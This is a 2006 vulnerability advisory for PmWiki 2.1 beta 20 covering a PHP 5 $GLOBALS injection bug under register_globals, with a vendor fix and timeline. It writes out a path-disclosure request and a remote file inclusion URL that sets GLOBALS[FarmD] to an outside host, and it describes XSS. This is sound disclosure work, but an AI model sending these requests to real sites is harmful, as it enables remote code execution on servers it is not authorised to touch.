This is both a PmWiki and PHP advisory, and works only with register_globals on. I totally missed the PHP GLOBALS[] GPC injection vulnerability and rediscovered that by my own (if just few month before! arg!). Basically in the worst scenario we are in front of two separate vulnerabilities: one regarding arbitrary remote file inclusion and code execution in PmWiki on PHP 5.x with globals on and the other about the reintroduction of a bug that should have been fixed in 5.0.5 but work (at last) on the 2 most recent version of PHP5.
The PmWiki advisory is very similar to the ones found by Stefan Esser (Hardened-PHP Project).
phpBB Multiple Vulnerabilities
http://www.hardened-php.net/advisory_172005.75.html
[1] In PHP5 < = 5.0.5 it is possible to register f.e. the global variable $foobar by supplying a GET/POST/COOKIE variable with the name 'foobar' but also by supplying a GPC variable called 'GLOBALS[foobar]'. If the variable is supplied in that way, the code above will not try to unset $foobar, but $GLOBALS, which completely bypasses the protection.
The strange thing is that this should be fixed in PHP5 > 5.0.5 but mine tests and Patrick R. Michaud ones on different configurations and php versions worked also in PHP 5.1.1 and 5.1.2.
NOTE: This work only with REGISTER_GLOBALS ON on many versions of PHP5 (tested on 5.0.5, 5.1.1, 5.1.2).
This vulnerability defeat PmWiki global sanitizing code.
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
PmWiki Multiple Vulnerabilities
Name Multiple Vulnerabilities in PmWiki
Systems Affected PmWiki (verified on 2.1 beta 20)
Severity Medium Risk
Vendor www.pmichaud.com/wiki/PmWiki/PmWiki
Advisory http://www_ush_it/2006/01/24/pmwiki-multiple-vulnerabilities/
Author Francesco "aScii" Ongaro (ascii at katamail . com)
Date 20060119
I. BACKGROUND
PmWiki is a PHP wiki program, more information is available at the vendor site.
II. DESCRIPTION
PmWiki is vulnerable to remote arbitrary file inclusion due to a php 5 bug that
bypass the mechanism used to sanitize global vars. Incriminated code is
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) { unset(${$k}); }
[..CUT..]
SDV($FarmD,dirname(__FILE__));
[..CUT..]
function SDV(&$v,$x) { if (!isset($v)) $v=$x; }
As you can see instead disabling register_globals runtime the code try
to unset all the variables with name equal to _REQUEST keys.
FarmD is the basepath for all includes and many datafiles.
The function SDV overwrite the variable only if new.
III. ANALYSIS
This vulnerability exists only with register_globals on. If you
cannot disable globals at last you should disable remote fopens.
*** Path disclosure in index.php/pmwiki.php ***
/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&_SERVER&_REQUEST&_GET&_POST&_ENV
The incriminated GLOBALS sanitizing code will unset any variable for you.
*** Arbitrary remote file inclusion in index.php/pmwiki.php ***
/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://www_ush_it
You will get:
Warning: main(http://www_ush_it/scripts/stdconfig.php) [function.main]:
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in
\pmwiki-2.1.beta20\pmwiki.php on line 276
Warning: main() [function.include]: Failed opening 'http://www_ush_it/
scripts/stdconfig.php' for inclusion in \pmwiki-2.1.beta20\pmwiki.php
on line 276
While with FarmD it's possible to include remote files with WorkDir
you can exploit PmWiki by directory traversal includes.
*** Multiple XSS ***
As done with GLOBALS[FarmD] it's possible to inject malicious JS and HTML
code in some vars that will be lately echoed, thus a lot of vars has to be
redefined to allow PmWiki work with no errors and display the XSS code.
IV. DETECTION
PmWiki 2.1 beta 20 is vulnerable.
Older version not verified.
V. WORKAROUND
Register global off will fix. Also to minimize the impact of this vuln
you can disable remote fopens turning this bug in an arbitrary directory
traversal file include. For deeper fixage use the official patch.
Vendor has released a new version:
pmwiki-2.1.beta21 http://pmwiki.org/wiki/PmWiki/Download
VI. VENDOR RESPONSE
Patrick R. Michaud has fixed this vulnerability, new version released.
VII. CVE INFORMATION
No CVE at this time.
VIII. DISCLOSURE TIMELINE
20060119 Bug discovered
20060119 Internal release
20060125 Initial release (only on ush.it)
20060127 Italian release (only on sikurezza.org)
20060127 Vendor fix
20060128 Public release
IX. CREDIT
Francesco "aScii" Ongaro is credited with the discovery of this vulnerability.
X. LEGAL NOTICES
Copyright (c) 2005 Francesco "aScii" Ongaro
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
References (regarding the PHP vulnerability):
Advisory: PHP File-Upload $GLOBALS Overwrite Vulnerability
http://www.hardened-php.net/advisory_202005.79.html
In PHP 4.3.11 some code was added to disallow overwriting the $GLOBALS array when register_globals is turned on. Unfortunately there was a hole in this protection. The introduced code did only affect the globalisation of the GET, POST and COOKIE variables. However it was overseen, that the rfc1867 file upload code within PHP also registers global variables, which can be used by an attacker to overwrite the $GLOBALS array by simply sending a multipart/form-data POST request containing a fileupload field with the name 'GLOBALS'.
Also to maximize the impact of this exploit on PHP5 < = 5.0.5 you could use (when applicable) the parse_str() vulnerability.
Advisory: PHP File-Upload $GLOBALS Overwrite Vulnerability
http://www.hardened-php.net/advisory_192005.78.html
Under certain conditions triggering the memory_limit request shutdown during a parse_str() call will result in the core of PHP believing that the register_globals directive is turned on (for the rest of the lifetime of the involved webserver process).
From PHP changelogs:
5.0.4 Fixed bug #31440 ($GLOBALS can be overwritten via GPC when register_globals is enabled). (Ilia) 5.1.0 Fixed possible GLOBALS variable override when register_globals are ON. (Ilia, Stefan)